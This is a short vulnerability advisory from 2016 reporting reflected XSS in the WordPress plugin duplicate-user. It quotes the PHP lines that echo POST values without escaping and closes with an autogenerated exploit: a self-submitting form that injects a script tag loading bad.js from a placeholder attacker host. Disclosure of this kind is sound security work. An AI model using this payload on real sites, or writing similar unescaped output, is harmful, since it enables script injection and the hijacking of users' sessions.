Advisory #: 1220
Title: Reflected XSS in wordpress plugin duplicate-user v0.1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/duplicate-user
Downloads: 559
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: duplicate-user
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./duplicate-user/duplicate-user.php: 96:<input type="hidden" name="deluduplicacy_type" value="<?php echo $_POST['deluduplicacy_type']; ?>" /> 97:<input type="hidden" name="del_numberOfRecords" value="<?php echo $_POST['del_numberOfRecords']; ?>" /> The variable deluduplicacy_type appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./duplicate-user/duplicate-user.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/duplicate-user/duplicate-user.php method=post> <input type=hidden name=deluduplicacy_type value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>